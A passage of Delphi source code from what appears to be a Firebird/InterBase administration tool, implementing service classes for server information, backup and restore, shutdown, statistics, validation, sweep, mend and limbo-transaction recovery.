TibSHDatabaseValidationPaletteAction,
TibSHDatabaseSweepPaletteAction,
TibSHDatabaseMendPaletteAction,
{TibSHTransactionRecoveryPaletteAction}
TibSHServiceFormAction,
TibSHServiceToolbarAction_Run,
TibSHServiceToolbarAction_Open,
TibSHServiceToolbarAction_Save]);
SHRegisterPropertyEditor(IibSHService, SCallStopAfter, TibSHServicesStopAfterPropEditor);
SHRegisterPropertyEditor(IibSHService, SCallMode, TibSHServicesShutdownModePropEditor);
SHRegisterPropertyEditor(IibSHService, SCallPageSize, TibSHServicesPageSizePropEditor);
SHRegisterPropertyEditor(IibSHService, SCallCharset, TibSHServicesCharsetPropEditor);
SHRegisterPropertyEditor(IibSHService, SCallSQLDialect, TibSHServicesSQLDialectPropEditor);
SHRegisterPropertyEditor(IibSHService, SCallGlobalAction, TibSHServicesGlobalActionPropEditor);
SHRegisterPropertyEditor(IibSHService, SCallFixLimbo, TibSHServicesFixLimboPropEditor);
end;
{ TibSHService }
function TibSHService.GetServer: string;
begin
if Assigned(BTCLServer) then
Result := Format('%s (%s) ', [BTCLServer.Caption, BTCLServer.CaptionExt]);
end;
procedure TibSHService.SetServer(Value: string);
begin
FServer := Value;
end;
function TibSHService.GetUserName: string;
begin
Result := FUserName;
end;
procedure TibSHService.SetUserName(Value: string);
begin
FUserName := Value;
end;
function TibSHService.GetPassword: string;
begin
Result := FPassword;
end;
procedure TibSHService.SetPassword(Value: string);
begin
FPassword := Value;
end;
function TibSHService.GetOnTextNotify: TSHOnTextNotify;
begin
Result := FOnTextNotify;
end;
procedure TibSHService.SetOnTextNotify(Value: TSHOnTextNotify);
begin
FOnTextNotify := Value;
end;
procedure TibSHService.SetOwnerIID(Value: TGUID);
begin
inherited SetOwnerIID(Value);
if Assigned(BTCLServer) then
begin
UserName := BTCLServer.UserName;
Password := BTCLServer.Password;
end;
end;
function TibSHService.GetDRVService: IibSHDRVService;
begin
if Assigned(BTCLServer) then
Result := BTCLServer.DRVService;
end;
function TibSHService.GetDatabaseName: string;
begin
Result := FDatabaseName;
end;
procedure TibSHService.SetDatabaseName(Value: string);
begin
FDatabaseName := Value;
end;
function TibSHService.GetErrorText: string;
begin
Result := FErrorText;
end;
procedure TibSHService.SetErrorText(Value: string);
begin
FErrorText := Value;
if Length(FErrorText) > 0 then
begin
WriteString(' ');
WriteString(Format('BT: ERROR', []));
end;
end;
procedure TibSHService.WriteString(S: string);
begin
if Assigned(FOnTextNotify) then FOnTextNotify(Self, S);
end;
function TibSHService.Execute: Boolean;
var
StartTime: TDateTime;
begin
ErrorText := EmptyStr;
Result := Assigned(BTCLServer);
if Result then
begin
StartTime := Now;
WriteString(Format('BT: Attach to server "%s"', [BTCLServer.Host]));
WriteString(Format('BT: Service started at %s', [FormatDateTime('dd.mm.yyyy hh:nn:ss.zzz', StartTime)]));
try
Tag := 0; // for Validation check and Transaction Recovery
Result := InternalExecute;
finally
Tag := 0; // for Validation check and Transaction Recovery
end;
WriteString(' ');
WriteString(Format('BT: Service ended at %s', [FormatDateTime('dd.mm.yyyy hh:nn:ss.zzz', Now)]));
WriteString(Format('BT: Detach from server "%s"', [BTCLServer.Host]));
WriteString(Format('BT: Elapsed time %s', [FormatDateTime('hh:nn:ss.zzz', Now - StartTime)]));
WriteString(' ');
end;
end;
function TibSHService.InternalExecute: Boolean;
begin
Result := Assigned(DRVService) and BTCLServer.PrepareDRVService;
if Result then
begin
DRVService.ConnectUser := UserName;
DRVService.ConnectPassword := Password;
end;
end;
{ TibSHServerProps }
constructor TibSHServerProps.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
FLocationInfo := True;
FVersionInfo := True;
FDatabaseInfo := True;
end;
destructor TibSHServerProps.Destroy;
begin
inherited Destroy;
end;
function TibSHServerProps.GetLocationInfo: Boolean;
begin
Result := FLocationInfo;
end;
procedure TibSHServerProps.SetLocationInfo(Value: Boolean);
begin
FLocationInfo := Value;
end;
function TibSHServerProps.GetVersionInfo: Boolean;
begin
Result := FVersionInfo;
end;
procedure TibSHServerProps.SetVersionInfo(Value: Boolean);
begin
FVersionInfo := Value;
end;
function TibSHServerProps.GetDatabaseInfo: Boolean;
begin
Result := FDatabaseInfo;
end;
procedure TibSHServerProps.SetDatabaseInfo(Value: Boolean);
begin
FDatabaseInfo := Value;
end;
function TibSHServerProps.GetLicenseInfo: Boolean;
begin
Result := FLicenseInfo;
end;
procedure TibSHServerProps.SetLicenseInfo(Value: Boolean);
begin
FLicenseInfo := Value;
end;
function TibSHServerProps.GetConfigInfo: Boolean;
begin
Result := FConfigInfo;
end;
procedure TibSHServerProps.SetConfigInfo(Value: Boolean);
begin
FConfigInfo := Value;
end;
function TibSHServerProps.InternalExecute: Boolean;
var
I: Integer;
begin
Result := inherited InternalExecute;
if Result then
begin
try
Screen.Cursor := crHourGlass;
Result := DRVService.Attach(stServerProperties, OnTextNotify);
if Result then
begin
if LocationInfo then
begin
DRVService.DisplayLocationInfo;
WriteString(EmptyStr);
WriteString('[Location Info]');
WriteString(Format('Base File = %s', [DRVService.GetBaseFileLocation]));
WriteString(Format('Lock File = %s', [DRVService.GetLockFileLocation]));
WriteString(Format('Message File = %s', [DRVService.GetMessageFileLocation]));
WriteString(Format('Security Database = %s', [DRVService.GetSecurityLocation]));
end;
if VersionInfo then
begin
DRVService.DisplayServerInfo;
WriteString(EmptyStr);
WriteString('[Version Info]');
WriteString(Format('Server Version = %s', [DRVService.GetServerVersion]));
WriteString(Format('Server Implementation = %s', [DRVService.GetServerImplementation]));
WriteString(Format('Service Version = %s', [DRVService.GetServiceVersion]));
end;
if DatabaseInfo then
begin
WriteString(EmptyStr);
WriteString('[Database Info]');
DRVService.DisplayDatabaseInfo;
WriteString(Format('Number Of Attachments = %s', [DRVService.GetNumberOfAttachments]));
WriteString(Format('Number Of Databases = %s', [DRVService.GetNumberOfDatabases]));
WriteString(Format('Attached Databases = ', []));
for I := 0 to StrToInt(DRVService.GetNumberOfDatabases) - 1 do
WriteString(Format(' %s', [DRVService.GetDatabaseName(I)]));
end;
if LicenseInfo then
begin
WriteString(EmptyStr);
WriteString('[License Info]');
try
DRVService.DisplayLicenseInfo;
WriteString(Format('Licensed Users = %s', [DRVService.GetLicensedUsers]));
WriteString(Format('Key, ID and Desc = ', []));
for I := 0 to DRVService.GetLicensedKeyCount do
begin
WriteString(Format(' %s', [DRVService.GetLicensedKey(I)]));
WriteString(Format(' %s', [DRVService.GetLicensedID(I)]));
WriteString(Format(' %s', [DRVService.GetLicensedDesc(I)]));
WriteString(Format(' %s', [' ']));
end;
except
WriteString(Format('Cannot get licensing info for current server', []));
end;
end;
if ConfigInfo then
begin
WriteString(EmptyStr);
WriteString('[Config Info]');
try
DRVService.DisplayConfigInfo;
WriteString(Format('LOCKMEM_KEY = %d', [DRVService.GetISCCFG_XXX_KEY(0)]));
WriteString(Format('LOCKSEM_KEY = %d', [DRVService.GetISCCFG_XXX_KEY(1)]));
WriteString(Format('LOCKSIG_KEY = %d', [DRVService.GetISCCFG_XXX_KEY(2)]));
WriteString(Format('EVNTMEM_KEY = %d', [DRVService.GetISCCFG_XXX_KEY(3)]));
WriteString(Format('DBCACHE_KEY = %d', [DRVService.GetISCCFG_XXX_KEY(4)]));
WriteString(Format('PRIORITY_KEY = %d', [DRVService.GetISCCFG_XXX_KEY(5)]));
WriteString(Format('IPCMAP_KEY = %d', [DRVService.GetISCCFG_XXX_KEY(6)]));
WriteString(Format('MEMMIN_KEY = %d', [DRVService.GetISCCFG_XXX_KEY(7)]));
WriteString(Format('MEMMAX_KEY = %d', [DRVService.GetISCCFG_XXX_KEY(8)]));
WriteString(Format('LOCKORDER_KEY = %d', [DRVService.GetISCCFG_XXX_KEY(9)]));
WriteString(Format('ANYLOCKMEM_KEY = %d', [DRVService.GetISCCFG_XXX_KEY(10)]));
WriteString(Format('ANYLOCKSEM_KEY = %d', [DRVService.GetISCCFG_XXX_KEY(11)]));
WriteString(Format('ANYLOCKSIG_KEY = %d', [DRVService.GetISCCFG_XXX_KEY(12)]));
WriteString(Format('ANYEVNTMEM_KEY = %d', [DRVService.GetISCCFG_XXX_KEY(13)]));
WriteString(Format('LOCKHASH_KEY = %d', [DRVService.GetISCCFG_XXX_KEY(14)]));
WriteString(Format('DEADLOCK_KEY = %d', [DRVService.GetISCCFG_XXX_KEY(15)]));
WriteString(Format('LOCKSPIN_KEY = %d', [DRVService.GetISCCFG_XXX_KEY(16)]));
WriteString(Format('CONN_TIMEOUT_KEY = %d', [DRVService.GetISCCFG_XXX_KEY(17)]));
WriteString(Format('DUMMY_INTRVL_KEY = %d', [DRVService.GetISCCFG_XXX_KEY(18)]));
WriteString(Format('TRACE_POOLS_KEY = %d', [DRVService.GetISCCFG_XXX_KEY(19)]));
WriteString(Format('REMOTE_BUFFER_KEY = %d', [DRVService.GetISCCFG_XXX_KEY(20)]));
WriteString(Format('CPU_AFFINITY_KEY = %d', [DRVService.GetISCCFG_XXX_KEY(21)]));
WriteString(Format('SWEEP_QUANTUM_KEY = %d', [DRVService.GetISCCFG_XXX_KEY(22)]));
WriteString(Format('USER_QUANTUM_KEY = %d', [DRVService.GetISCCFG_XXX_KEY(23)]));
WriteString(Format('SLEEP_TIME_KEY = %d', [DRVService.GetISCCFG_XXX_KEY(24)]));
WriteString(Format('MAX_THREADS_KEY = %d', [DRVService.GetISCCFG_XXX_KEY(25)]));
WriteString(Format('ADMIN_DB_KEY = %d', [DRVService.GetISCCFG_XXX_KEY(26)]));
WriteString(Format('USE_SANCTUARY_KEY = %d', [DRVService.GetISCCFG_XXX_KEY(27)]));
except
WriteString(Format('Not Supported', []));
end;
end;
end;
finally
DRVService.Detach;
Screen.Cursor := crDefault;
end;
if not Result and Assigned(DRVService) then
ErrorText := DRVService.ErrorText;
end;
end;
{ TibSHServerLog }
function TibSHServerLog.InternalExecute: Boolean;
begin
Result := inherited InternalExecute;
if Result then
begin
try
Screen.Cursor := crHourGlass;
Result := DRVService.Attach(stLogService, OnTextNotify);
if Result then
begin
WriteString(' ');
Result := DRVService.DisplayServerLog;
end;
finally
DRVService.Detach;
Screen.Cursor := crDefault;
end;
if not Result and Assigned(DRVService) then
ErrorText := DRVService.ErrorText;
end;
end;
{ TibSHServerConfig }
{ TibSHServerLicense }
{ TibSHDatabaseShutdown }
constructor TibSHDatabaseShutdown.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
FMode := ShutdownModes[0];
FTimeout := 0;
end;
destructor TibSHDatabaseShutdown.Destroy;
begin
inherited Destroy;
end;
function TibSHDatabaseShutdown.GetMode: string;
begin
Result := FMode;
end;
procedure TibSHDatabaseShutdown.SetMode(Value: string);
begin
FMode := Value;
end;
function TibSHDatabaseShutdown.GetTimeout: Integer;
begin
Result := FTimeout;
end;
procedure TibSHDatabaseShutdown.SetTimeout(Value: Integer);
begin
FTimeout := Value;
end;
function TibSHDatabaseShutdown.CloseAllDatabases: Boolean;
var
I: Integer;
BTCLDatabase: IibSHDatabase;
begin
Result := True;
for I := Pred(Designer.Components.Count) downto 0 do
if Supports(Designer.Components[I], IibSHDatabase, BTCLDatabase) and
AnsiSameText(BTCLDatabase.Database, DatabaseName) and
BTCLDatabase.Connected then
Result := Designer.DisconnectFrom(TSHComponent(Designer.Components[I]));
end;
function TibSHDatabaseShutdown.InternalExecute: Boolean;
begin
Result := inherited InternalExecute;
if Result then
begin
try
Screen.Cursor := crHourGlass;
DRVService.ConnectDatabase := DatabaseName;
Result := DRVService.Attach(stConfigService, OnTextNotify);
if Result then
begin
if CloseAllDatabases then
begin
WriteString(' ');
WriteString(Format('BT: Database shutdown process is running...', []));
// Forced
if AnsiSameText(Mode, ShutdownModes[0]) then
Result := DRVService.DisplayDatabaseShutdown(0, Timeout);
// Deny Transaction
if AnsiSameText(Mode, ShutdownModes[1]) then
Result := DRVService.DisplayDatabaseShutdown(1, Timeout);
// Deny Attachment
if AnsiSameText(Mode, ShutdownModes[2]) then
Result := DRVService.DisplayDatabaseShutdown(2, Timeout);
if Result then
begin
WriteString(Format('BT: Database shutdown completed successfully', []));
WriteString(Format('BT: The database has been shut down and is currently in single-user mode', []));
end;
end;
end;
finally
DRVService.Detach;
Screen.Cursor := crDefault;
end;
if not Result and Assigned(DRVService) then
ErrorText := DRVService.ErrorText;
end;
end;
{ TibSHDatabaseOnline }
function TibSHDatabaseOnline.InternalExecute: Boolean;
begin
Result := inherited InternalExecute;
if Result then
begin
try
Screen.Cursor := crHourGlass;
DRVService.ConnectDatabase := DatabaseName;
Result := DRVService.Attach(stConfigService, OnTextNotify);
if Result then
begin
WriteString(' ');
WriteString(Format('BT: Database restart process is running...', []));
Result := DRVService.DisplayDatabaseOnline;
if Result then
begin
WriteString(Format('BT: Database restart completed successfully', []));
WriteString(Format('BT: The database has been restarted and is currently in online', []));
end;
end;
finally
DRVService.Detach;
Screen.Cursor := crDefault;
end;
if not Result and Assigned(DRVService) then
ErrorText := DRVService.ErrorText;
end;
end;
{ TibSHBackupRestoreService }
constructor TibSHBackupRestoreService.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
FSourceFileList := TStringList.Create;
FDestinationFileList := TStringList.Create;
FVerbose := False;
end;
destructor TibSHBackupRestoreService.Destroy;
begin
FSourceFileList.Free;
FDestinationFileList.Free;
inherited Destroy;
end;
function TibSHBackupRestoreService.GetSourceFileList: TStrings;
begin
Result := FSourceFileList;
end;
function TibSHBackupRestoreService.GetDestinationFileList: TStrings;
begin
Result := FDestinationFileList;
end;
function TibSHBackupRestoreService.GetVerbose: Boolean;
begin
Result := FVerbose;
end;
procedure TibSHBackupRestoreService.SetVerbose(Value: Boolean);
begin
FVerbose := Value;
end;
{ TibSHDatabaseBackup }
constructor TibSHDatabaseBackup.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
FTransportable := True;
end;
destructor TibSHDatabaseBackup.Destroy;
begin
inherited Destroy;
end;
function TibSHDatabaseBackup.GetTransportable: Boolean;
begin
Result := FTransportable;
end;
procedure TibSHDatabaseBackup.SetTransportable(Value: Boolean);
begin
FTransportable := Value;
end;
function TibSHDatabaseBackup.GetMetadataOnly: Boolean;
begin
Result := FMetadataOnly;
end;
procedure TibSHDatabaseBackup.SetMetadataOnly(Value: Boolean);
begin
FMetadataOnly := Value;
end;
function TibSHDatabaseBackup.GetNoGarbageCollect: Boolean;
begin
Result := FNoGarbageCollect;
end;
procedure TibSHDatabaseBackup.SetNoGarbageCollect(Value: Boolean);
begin
FNoGarbageCollect := Value;
end;
function TibSHDatabaseBackup.GetIgnoreLimboTrans: Boolean;
begin
Result := FIgnoreLimboTrans;
end;
procedure TibSHDatabaseBackup.SetIgnoreLimboTrans(Value: Boolean);
begin
FIgnoreLimboTrans := Value;
end;
function TibSHDatabaseBackup.GetIgnoreChecksums: Boolean;
begin
Result := FIgnoreChecksums;
end;
procedure TibSHDatabaseBackup.SetIgnoreChecksums(Value: Boolean);
begin
FIgnoreChecksums := Value;
end;
function TibSHDatabaseBackup.GetOldMetadataDesc: Boolean;
begin
Result := FOldMetadataDesc;
end;
procedure TibSHDatabaseBackup.SetOldMetadataDesc(Value: Boolean);
begin
FOldMetadataDesc := Value;
end;
function TibSHDatabaseBackup.GetConvertExtTables: Boolean;
begin
Result := FConvertExtTables;
end;
procedure TibSHDatabaseBackup.SetConvertExtTables(Value: Boolean);
begin
FConvertExtTables := Value;
end;
function TibSHDatabaseBackup.InternalExecute: Boolean;
begin
Result := inherited InternalExecute;
if Result then
begin
try
Screen.Cursor := crHourGlass;
DRVService.ConnectDatabase := DatabaseName;
Result := DRVService.Attach(stBackupService, OnTextNotify);
if Result then
begin
WriteString(' ');
WriteString(Format('BT: Database backup process is running...', []));
Result := DRVService.DisplayBackup(
SourceFileList,
DestinationFileList,
Transportable,
MetadataOnly,
NoGarbageCollect,
IgnoreLimboTrans,
IgnoreChecksums,
OldMetadataDesc,
ConvertExtTables,
Verbose);
if Result then
WriteString(Format('BT: Database backup completed successfully', []));
end;
finally
DRVService.Detach;
Screen.Cursor := crDefault;
end;
if not Result and Assigned(DRVService) then
ErrorText := DRVService.ErrorText;
end;
end;
{ TibSHDatabaseRestore }
constructor TibSHDatabaseRestore.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
FPageSize := Format('%s', [SUnchanged]);
end;
destructor TibSHDatabaseRestore.Destroy;
begin
inherited Destroy;
end;
function TibSHDatabaseRestore.GetPageSize: string;
begin
Result := FPageSize;
end;
procedure TibSHDatabaseRestore.SetPageSize(Value: string);
begin
FPageSize := Value;
end;
function TibSHDatabaseRestore.GetReplaceExisting: Boolean;
begin
Result := FReplaceExisting;
end;
procedure TibSHDatabaseRestore.SetReplaceExisting(Value: Boolean);
begin
FReplaceExisting := Value;
end;
function TibSHDatabaseRestore.GetMetadataOnly: Boolean;
begin
Result := FMetadataOnly;
end;
procedure TibSHDatabaseRestore.SetMetadataOnly(Value: Boolean);
begin
FMetadataOnly := Value;
end;
function TibSHDatabaseRestore.GetCommitEachTable: Boolean;
begin
Result := FCommitEachTable;
end;
procedure TibSHDatabaseRestore.SetCommitEachTable(Value: Boolean);
begin
FCommitEachTable := Value;
end;
function TibSHDatabaseRestore.GetWithoutShadow: Boolean;
begin
Result := FWithoutShadow;
end;
procedure TibSHDatabaseRestore.SetWithoutShadow(Value: Boolean);
begin
FWithoutShadow := Value;
end;
function TibSHDatabaseRestore.GetDeactivateIndexes: Boolean;
begin
Result := FDeactivateIndexes;
end;
procedure TibSHDatabaseRestore.SetDeactivateIndexes(Value: Boolean);
begin
FDeactivateIndexes := Value;
end;
function TibSHDatabaseRestore.GetNoValidityCheck: Boolean;
begin
Result := FNoValidityCheck;
end;
procedure TibSHDatabaseRestore.SetNoValidityCheck(Value: Boolean);
begin
FNoValidityCheck := Value;
end;
function TibSHDatabaseRestore.GetUseAllSpace: Boolean;
begin
Result := FUseAllSpace;
end;
procedure TibSHDatabaseRestore.SetUseAllSpace(Value: Boolean);
begin
FUseAllSpace := Value;
end;
function TibSHDatabaseRestore.InternalExecute: Boolean;
var
vPageSize:integer;
begin
Result := inherited InternalExecute;
if Result then
begin
try
vPageSize:=StrToIntDef(PageSize,0);
except
vPageSize:=0
end;
try
Screen.Cursor := crHourGlass;
DRVService.ConnectDatabase := DatabaseName;
Result := DRVService.Attach(stRestoreService, OnTextNotify);
if Result then
begin
WriteString(' ');
WriteString(Format('BT: Database restore process is running...', []));
Result := DRVService.DisplayRestore(
SourceFileList,
DestinationFileList,
vPageSize,
ReplaceExisting,
MetadataOnly,
CommitEachTable,
WithoutShadow,
DeactivateIndexes,
NoValidityCheck,
UseAllSpace,
Verbose);
if Result then
WriteString(Format('BT: Database restore completed successfully', []));
end;
finally
DRVService.Detach;
Screen.Cursor := crDefault;
end;
if not Result and Assigned(DRVService) then
ErrorText := DRVService.ErrorText;
end;
end;
{ TibSHDatabaseStatistics }
constructor TibSHDatabaseStatistics.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
FStopAfter := StopAfters[0];
MakePropertyInvisible('TableName');
end;
destructor TibSHDatabaseStatistics.Destroy;
begin
inherited Destroy;
end;
function TibSHDatabaseStatistics.GetStopAfter: string;
begin
Result := FStopAfter;
end;
procedure TibSHDatabaseStatistics.SetStopAfter(Value: string);
begin
FStopAfter := Value;
if AnsiSameText(FStopAfter, StopAfters[6]) then
MakePropertyVisible('TableName')
else
MakePropertyInvisible('TableName');
Designer.UpdateObjectInspector;
end;
function TibSHDatabaseStatistics.GetTableName: string;
begin
Result := FTableName;
end;
procedure TibSHDatabaseStatistics.SetTableName(Value: string);
begin
FTableName := Value;
end;
function TibSHDatabaseStatistics.InternalExecute: Boolean;
begin
Result := inherited InternalExecute;
if Result then
begin
try
Screen.Cursor := crHourGlass;
DRVService.ConnectDatabase := DatabaseName;
Result := DRVService.Attach(stStatisticalService, OnTextNotify);
if Result then
begin
// HeaderPage
if AnsiSameText(StopAfter, StopAfters[0]) then
Result := DRVService.DisplayDatabaseStatistics(0);
// LogPages
if AnsiSameText(StopAfter, StopAfters[1]) then
Result := DRVService.DisplayDatabaseStatistics(1);
// IndexPages
if AnsiSameText(StopAfter, StopAfters[2]) then
Result := DRVService.DisplayDatabaseStatistics(2);
// DataPages
if AnsiSameText(StopAfter, StopAfters[3]) then
Result := DRVService.DisplayDatabaseStatistics(3);
// SystemRelations
if AnsiSameText(StopAfter, StopAfters[4]) then
Result := DRVService.DisplayDatabaseStatistics(4);
// RecordVersions
if AnsiSameText(StopAfter, StopAfters[5]) then
Result := DRVService.DisplayDatabaseStatistics(5);
// StatTables
if AnsiSameText(StopAfter, StopAfters[6]) then
Result := DRVService.DisplayDatabaseStatistics(6, TableName);
end;
finally
DRVService.Detach;
Screen.Cursor := crDefault;
end;
if not Result and Assigned(DRVService) then
ErrorText := DRVService.ErrorText;
end;
end;
{ TibSHDatabaseValidation }
constructor TibSHDatabaseValidation.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
end;
destructor TibSHDatabaseValidation.Destroy;
begin
inherited Destroy;
end;
function TibSHDatabaseValidation.GetRecordFragments: Boolean;
begin
Result := FRecordFragments;
end;
procedure TibSHDatabaseValidation.SetRecordFragments(Value: Boolean);
begin
FRecordFragments := Value;
end;
function TibSHDatabaseValidation.GetReadOnly: Boolean;
begin
Result := FReadOnly;
end;
procedure TibSHDatabaseValidation.SetReadOnly(Value: Boolean);
begin
FReadOnly := Value;
end;
function TibSHDatabaseValidation.GetIgnoreChecksum: Boolean;
begin
Result := FIgnoreChecksum;
end;
procedure TibSHDatabaseValidation.SetIgnoreChecksum(Value: Boolean);
begin
FIgnoreChecksum := Value;
end;
function TibSHDatabaseValidation.GetKillShadows: Boolean;
begin
Result := FKillShadows;
end;
procedure TibSHDatabaseValidation.SetKillShadows(Value: Boolean);
begin
FKillShadows := Value;
end;
function TibSHDatabaseValidation.InternalExecute: Boolean;
begin
Result := inherited InternalExecute;
if Result then
begin
try
Screen.Cursor := crHourGlass;
DRVService.ConnectDatabase := DatabaseName;
Result := DRVService.Attach(stValidationService, OnTextNotify);
if Result then
begin
WriteString(' ');
WriteString(Format('BT: Database validation process is running...', []));
Result := DRVService.DisplayDatabaseValidation(
RecordFragments,
ReadOnly,
IgnoreChecksum,
KillShadows);
if Result then
begin
WriteString(Format('BT: Database validation process completed successfully', []));
if Tag = 4 then
WriteString(Format('BT: No database validation errors were found', []));
end;
end;
finally
DRVService.Detach;
Screen.Cursor := crDefault;
end;
if not Result and Assigned(DRVService) then
ErrorText := DRVService.ErrorText;
end;
end;
{ TibSHDatabaseSweep }
function TibSHDatabaseSweep.GetIgnoreChecksum: Boolean;
begin
Result := FIgnoreChecksum;
end;
procedure TibSHDatabaseSweep.SetIgnoreChecksum(Value: Boolean);
begin
FIgnoreChecksum := Value;
end;
function TibSHDatabaseSweep.InternalExecute: Boolean;
begin
Result := inherited InternalExecute;
if Result then
begin
try
Screen.Cursor := crHourGlass;
DRVService.ConnectDatabase := DatabaseName;
Result := DRVService.Attach(stValidationService, OnTextNotify);
if Result then
begin
WriteString(' ');
WriteString(Format('BT: Database sweep process is running...', []));
Result := DRVService.DisplayDatabaseSweep(IgnoreChecksum);
if Result then
WriteString(Format('BT: Database sweep completed successfully', []));
end;
finally
DRVService.Detach;
Screen.Cursor := crDefault;
end;
if not Result and Assigned(DRVService) then
ErrorText := DRVService.ErrorText;
end;
end;
{ TibSHDatabaseMend }
function TibSHDatabaseMend.GetIgnoreChecksum: Boolean;
begin
Result := FIgnoreChecksum;
end;
procedure TibSHDatabaseMend.SetIgnoreChecksum(Value: Boolean);
begin
FIgnoreChecksum := Value;
end;
function TibSHDatabaseMend.InternalExecute: Boolean;
begin
Result := inherited InternalExecute;
if Result then
begin
try
Screen.Cursor := crHourGlass;
DRVService.ConnectDatabase := DatabaseName;
Result := DRVService.Attach(stValidationService, OnTextNotify);
if Result then
begin
WriteString(' ');
WriteString(Format('BT: Database mend process is running...', []));
Result := DRVService.DisplayDatabaseMend(IgnoreChecksum);
if Result then
WriteString(Format('BT: Database mend completed successfully', []));
end;
finally
DRVService.Detach;
Screen.Cursor := crDefault;
end;
if not Result and Assigned(DRVService) then
ErrorText := DRVService.ErrorText;
end;
end;
{ TibSHTransactionRecovery }
constructor TibSHTransactionRecovery.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
FGlobalAction := GlobalActions[0];
end;
destructor TibSHTransactionRecovery.Destroy;
begin
inherited Destroy;
end;
function TibSHTransactionRecovery.GetGlobalAction: string;
begin
Result := FGlobalAction;
end;
procedure TibSHTransactionRecovery.SetGlobalAction(Value: string);
begin
FGlobalAction := Value;
end;
function TibSHTransactionRecovery.InternalExecute: Boolean;
var
I: Integer;
begin
Result := inherited InternalExecute;
if Result then
begin
try
Screen.Cursor := crHourGlass;
DRVService.ConnectDatabase := DatabaseName;
Result := DRVService.Attach(stValidationService, OnTextNotify);
if Result then
begin
WriteString(' ');
WriteString(Format('BT: Database find limbo transactions process is running...', []));
Result := DRVService.DisplayLimboTransactions;
if Result then
begin
for I := 0 to Pred(DRVService.GetLimboTransactionCount) do
begin
WriteString(Format('MultiDatabase = %s', [BoolToStr(DRVService.GetLimboTransactionMultiDatabase(I), True)]));
WriteString(Format('TransactionID = %d', [DRVService.GetLimboTransactionID(I)]));
WriteString(Format('HostSite = %s', [DRVService.GetLimboTransactionHostSite(I)]));
WriteString(Format('RemoteSite = %s', [DRVService.GetLimboTransactionRemoteSite(I)]));
WriteString(Format('RemoteDatabasePath = %s', [DRVService.GetLimboTransactionRemoteDatabasePath(I)]));
WriteString(Format('State = %s', [DRVService.GetLimboTransactionState(I)]));
WriteString(Format('Advise = %s', [DRVService.GetLimboTransactionAdvise(I)]));
WriteString(Format('Action = %s', [DRVService.GetLimboTransactionAction(I)]));
WriteString(EmptyStr);
end;
WriteString(Format('BT: Database find limbo transactions completed successfully', []));
if DRVService.GetLimboTransactionCount = 0 then
WriteString(Format('BT: No pending transactions were found', []));
end;
// No pending transactions were found
end;
finally
DRVService.Detach;
Screen.Cursor := crDefault;
end;
if not Result and Assigned(DRVService) then
ErrorText := DRVService.ErrorText;
end;
end;
{ TibSHDatabaseProps }
constructor TibSHDatabaseProps.Create(AOwner: TComponent);
var
vComponentClass: TSHComponentClass;
begin
inherited Create(AOwner);
FActiveUsers := TStringList.Create;
vComponentClass := Designer.GetComponent(IibSHDatabase);
if Assigned(vComponentClass) then
begin
FIntDatabase := vComponentClass.Create(Self);
Supports(FIntDatabase, IibSHDatabase, FIntDatabaseIntf);
end;
MakePropertyInvisible('ODSVersion');
MakePropertyInvisible('Charset');
MakePropertyInvisible('PageSize');
MakePropertyInvisible('SweepInterval');
MakePropertyInvisible('ForcedWrites');
MakePropertyInvisible('ReadOnly');
MakePropertyInvisible('SQLDialect');
MakePropertyInvisible('PageBuffers');
end;
destructor TibSHDatabaseProps.Destroy;
begin
FActiveUsers.Free;
FIntDatabaseIntf := nil;
FreeAndNil(FIntDatabase);
inherited Destroy;
end;
function TibSHDatabaseProps.GetODSVersion: string;
begin
Result := FODSVersion;
end;
//procedure TibSHDatabaseProps.SetODSVersion(Value: string);
//begin
// FODSVersion := Value;
//end;
function TibSHDatabaseProps.GetCharset: string;
begin
Result := FCharset;
end;
//procedure TibSHDatabaseProps.SetCharset(Value: string);
//begin
// FCharset := Value;
//end;
function TibSHDatabaseProps.GetPageSize: string;
begin
Result := FPageSize;
end;
//procedure TibSHDatabaseProps.SetPageSize(Value: string);
//begin
// FPageSize := Value;
//end;
function TibSHDatabaseProps.GetActiveUsers: TStrings;
begin
Result := FActiveUsers;
end;
function TibSHDatabaseProps.GetSweepInterval: Integer;
begin
Result := FSweepInterval;
end;
procedure TibSHDatabaseProps.SetSweepInterval(Value: Integer);
begin
if FSweepInterval <> Value then
begin
FSweepInterval := Value;
try
DRVService.ConnectDatabase := DatabaseName;
if DRVService.Attach(stConfigService, OnTextNotify) then
DRVService.SetSweepInterval(FSweepInterval);
finally
DRVService.Detach;
end;
end;
end;
function TibSHDatabaseProps.GetForcedWrites: Boolean;
begin
Result := FForcedWrites;
end;
procedure TibSHDatabaseProps.SetForcedWrites(Value: Boolean);
begin
if FForcedWrites <> Value then
begin
FForcedWrites := Value;
try
DRVService.ConnectDatabase := DatabaseName;
if DRVService.Attach(stConfigService, OnTextNotify) then
DRVService.SetForcedWrites(FForcedWrites);
finally
DRVService.Detach;
end;
end;
end;
function TibSHDatabaseProps.GetReadOnly: Boolean;
begin
Result := FReadOnly;
end;
procedure TibSHDatabaseProps.SetReadOnly(Value: Boolean);
begin
if FReadOnly <> Value then
begin
FReadOnly := Value;
try
DRVService.ConnectDatabase := DatabaseName;
if DRVService.Attach(stConfigService, OnTextNotify) then
DRVService.SetReadOnly(FReadOnly);
finally
DRVService.Detach;
end;
end;
end;
function TibSHDatabaseProps.GetSQLDialect: string;
begin
Result := FSQLDialect;
end;
procedure TibSHDatabaseProps.SetSQLDialect(Value: string);
begin
if FSQLDialect <> Value then
begin
FSQLDialect := Value;
try
DRVService.ConnectDatabase := DatabaseName;
if DRVService.Attach(stConfigService, OnTextNotify) then
DRVService.SetSQLDialect(StrToInt(FSQLDialect));
finally
DRVService.Detach;
end;
end;
end;
function TibSHDatabaseProps.GetPageBuffers: Integer;
begin
Result := FPageBuffers;
end;
procedure TibSHDatabaseProps.SetPageBuffers(Value: Integer);
begin
if FPageBuffers <> Value then
begin
FPageBuffers := Value;
try
DRVService.ConnectDatabase := DatabaseName;
if DRVService.Attach(stConfigService, OnTextNotify) then
DRVService.SetPageBuffers(FPageBuffers);
finally
DRVService.Detach;
end;
end;
end;
function TibSHDatabaseProps.InternalExecute: Boolean;
var
I: Integer;
begin
Result := inherited InternalExecute;
